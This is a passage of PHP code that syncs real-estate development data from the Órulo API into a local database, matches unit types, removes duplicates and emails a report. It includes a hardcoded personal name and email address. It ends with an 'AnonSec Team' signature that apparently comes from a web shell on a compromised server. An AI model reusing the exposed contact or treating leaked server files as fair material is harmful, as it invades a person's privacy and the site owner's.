                $jsonEnterprises = $this->gelAllEnterprisesFromState($s, $page);
                $totalPages = $jsonEnterprises->total_pages;
                $buildingsCount = count($jsonEnterprises->buildings);
                echo "\nEstado: $s -> Página $page de $totalPages -> Total de Empreendimentos: $buildingsCount";
                foreach($jsonEnterprises->buildings as $j){
                    echo "\n\n####### ".$j->id ."-". $j->name." ########\n\n";
                    try{
                        $jsonEnterprise = $this->getEnterpriseDetails($j->id);
                        $this->handleEnterprise(null, $jsonEnterprise);
                    }catch (Exception $e){
                        $errorMessage = $e->getMessage();
                        echo "\n\n\n";
                        
                        if (strpos($errorMessage, "corresponde a nenhum empreendimento") > 0){
                            echo "ERRO NA API ÓRULO:\n";
                            echo "Empreendimento localizado na listagem por estado não encontrado na api de detalhamento.\n";
                            echo "Empreendimento: $j->name - ID: $j->id\n";
                            echo "Erro retornado: $errorMessage\n";
                        } else {
                            echo "ERRO DESCONHECIDO\n";
                            echo "Erro retornado: $errorMessage\n";
                        }
                        echo "\n\n\n";
                    }
                    
                }
                $page++;
            } while ($buildingsCount > 0);
        }

        echo "\n\n ----------- Busca Empreendimentos ORULO Finalizada ----------- \n\n";
        $this->sendReport();
    }

    public function getEnterprisesDetailsJSONFromState($state){
        $enterprises = array();
        $buildingsCount = 0;
        $page = 1;
        do {
            $jsonEnterprises = $this->gelAllEnterprisesFromState($state, $page);
            $buildingsCount = count($jsonEnterprises->buildings);
            foreach($jsonEnterprises->buildings as $j){
                try{
                    $jsonEnterprise = $this->getEnterpriseDetails($j->id);
                    $enterprises[] = $jsonEnterprise;
                }catch (Exception $e){
                }
            }
            $page++;
        } while ($buildingsCount > 0);
        return $enterprises;
    }

    public function getEnterprisesJSONFromState($state){
        try{
            $enterprises = array();
            $buildingsCount = 0;
            $page = 1;
            do {
                $jsonEnterprises = $this->gelAllEnterprisesFromState($state, $page);
                $enterprises = array_merge($enterprises, $jsonEnterprises->buildings);
                $buildingsCount = count($jsonEnterprises->buildings);
                $page++;
            } while ($buildingsCount > 0);
            return $enterprises;
        }catch (Exception $e){
            return $e->getMessage();
        }
    }

    public function getEnterpriseJSONByID($oruloID){
        try{
            $jsonEnterprise = $this->getEnterpriseDetails($oruloID);
            return $jsonEnterprise;
        }catch (Exception $e){
            return $e->getMessage();
        }
    }

    public function getEnterpriseJSONByName($searchName){
        try{
            $jsonEnterprise = $this->getEnterpriseByName($searchName);
            return $jsonEnterprise;
        }catch (Exception $e){
            return $e->getMessage();
        }
    }

    public function findOruloIDforGOEnterprises(){
        echo "\nBuscando empreendimentos em GO";
        $buildingsCount = 0;
        $found = 0;
        $notFound = 0;
        $page = 1;
        do {
            $jsonEnterprises = $this->gelAllEnterprisesFromState("GO", $page);
            $totalPages = $jsonEnterprises->total_pages;
            $buildingsCount = count($jsonEnterprises->buildings);
            foreach($jsonEnterprises->buildings as $j){
                $name         = $j->name;
                $neighborhood = $j->address->area;
                $street       = $j->address->street_type . " " . $j->address->street;
                $streetNumber = $j->address->number;

                $enterprise = $this->findEnterpriseByNameAndAddress($name, $neighborhood, $street, $streetNumber);
                if ($enterprise) {
                    $enterprise->orulo_id = $j->id;
                    $enterprise->save();
                    echo "\n\nEmpreendimento localizado:";
                    echo "\n$name";
                    echo "\nID Empreendimento: $enterprise->id - ID Órulo: $j->id";
                    $found++;
                } else {
                    echo "\n\nEmpreendimento não localizado:";
                    echo "\nID nÓrulo: $j->id";
                    echo "\n$name";
                    echo "\n$street, $streetNumber, $neighborhood";
                    $notFound++;
                }
            }
            $page++;
        } while ($buildingsCount > 0);

        echo "\n\n-----------------------------------------------";
        echo "\nBusca de empreendimentos Órulo Goiás finalizada";
        echo "\nEmpreendimentos encontrados: $found";
        echo "\nEmpreendimentos não encontrados: $notFound";
        echo "\n-----------------------------------------------\n\n";
    }


    public function findOruloIDforEnterpriseTypeUnits($enterpriseID){
        $msg = "";
        $enterprise = ORM::for_table('module_imobles_enterprise')
                            ->find_one($enterpriseID);
        if($enterprise){
            if($enterprise->orulo_id != null){
                $msg .= "<br/>Empreendimento: $enterprise->name";
                $msg .= "<br/>ID Empreendimento: $enterprise->id - ID Órulo: $enterprise->orulo_id";
                $jsonEnterprise = $this->getEnterpriseDetails($enterprise->orulo_id);
                foreach ($jsonEnterprise->typologies as $typology){
                    $typeUnit = ORM::for_table('module_imobles_enterprise_units_type')
                        ->where('module_imobles_enterprise_id', $enterprise->id)
                        ->where('area', $typology->private_area)
                        ->where('number_rooms', $typology->bedrooms)
                        ->where("site_enabled", 1)
                        ->where_null('delete_at')
                        ->find_one();
                    if($typeUnit){
                        $typeUnit->orulo_id = $typology->id;
                        $typeUnit->save();
                        $msg .= "<br/><br/>Tipo de Unidade encontrado";
                        $msg .= "<br/>ID Tipo de Unidade: $typeUnit->id";
                    } else {
                        $msg .= "<br/><br/>Tipo de Unidade não encontrado";
                    }
                    $msg .= "<br/>ID Órulo: $typology->id";
                    $msg .= "<br/>Área: $typology->private_area";
                    $msg .= "<br/>Quartos: $typology->bedrooms";
                }
                $typeUnits = ORM::for_table('module_imobles_enterprise_units_type')
                        ->where('module_imobles_enterprise_id', $enterprise->id)
                        ->where_null("orulo_id")
                        ->where("site_enabled", 1)
                        ->where_null('delete_at')
                        ->find_many();
                if(count($typeUnits) > 0){
                    $msg .= "<br/><br/>Tipos de Unidade cadastrados sem vínculo com a Órulo:";
                    foreach($typeUnits as $t){
                    $msg .= "<br/>ID Tipo de Unidade: $t->id";
                    $msg .= "<br/>Área: $t->area";
                    $msg .= "<br/>Quartos: $t->number_rooms";
                    $msg .= "<br/>";
                    }
                } else {
                    $msg .= "<br/><br/>Nenhum Tipo de Unidade sem vínculo com a Órulo.";
                }

            } else {
                $msg = "Empreendimento não possui ÓruloID. ID Empreendimento: $enterpriseID";
            }
        } else {
            $msg = "Empreendimento não localizado. ID Empreendimento: $enterpriseID";
        }
        return $msg;
    }

    private function deleteDuplicates(){
        $sql = "select e1.id as id1, e1.orulo_id as orulo_id1, e1.name as name1, e2.id as id2, e2.orulo_id as orulo_id2, e2.name as name2 "
             . "from module_imobles_enterprise e1, module_imobles_enterprise e2 "
             . "where e1.orulo_id is not null and e1.orulo_id <> '' "
             . "and e1.delete_at is null and e2.delete_at is null "
             . "and e1.orulo_id = e2.orulo_id and e1.id <> e2.id "
             . "and e1.sanitized = 1 and e2.sanitized <> 1";
        $data = ORM::for_table($this->enterprisesModel->table)
            ->raw_query($sql)
            ->find_array();
        if(count($data)>0){
            foreach($data as $d){
                echo "\n\n-----------------------------------------------";
                echo "\nEmpreendimento duplicato: ";
                echo "\nID 1:       ".$d['id1'];
                echo "\nÓrulo ID 1: ".$d['orulo_id1'];
                echo "\nNome 1:     ".$d['name1'];
                echo "\nID 2:       ".$d['id2'];
                echo "\nÓrulo ID 2: ".$d['orulo_id2'];
                echo "\nNome 2:     ".$d['name2'];
                echo "\nEmpreendimento 2 não sanitizado";
                $enterprise = ORM::for_table($this->enterprisesModel->table)->find_one($d['id2']);
                $this->enterprisesModel->deleteEnterprises($enterprise);
                echo "\nEmpreendimento 2 deletado";
                echo "\n-----------------------------------------------\n\n";
                $this->report[] = "Empreendimento duplicado deletado: $enterprise->id - $enterprise->name";
            }
        } else {
            echo "\n\n-----------------------------------------------";
            echo "\nNenhum Empreendimento duplicado encontrado ";
            echo "\n-----------------------------------------------\n\n";
        }
    }

    private function sendReport(){
        $name    = 'Mateus Mota'; 
        $email   = 'mateus.mota@myside.com.br'; 
        $subject = 'Atualiações diárias Órulo - ' . date("d/m/Y H:i");
        $message = "<html><body><h2>$subject</h2><br/>";
        foreach($this->report as $r){
            $message .= $r . "<br/>";
        }
        $message .= "</body></html>";
        echo $message;
        //file_put_contents('report.html', $message);
        Notify_Email::_send($name, $email, $subject, $message);
    }
    
}

Anon7 - 2022
AnonSec Team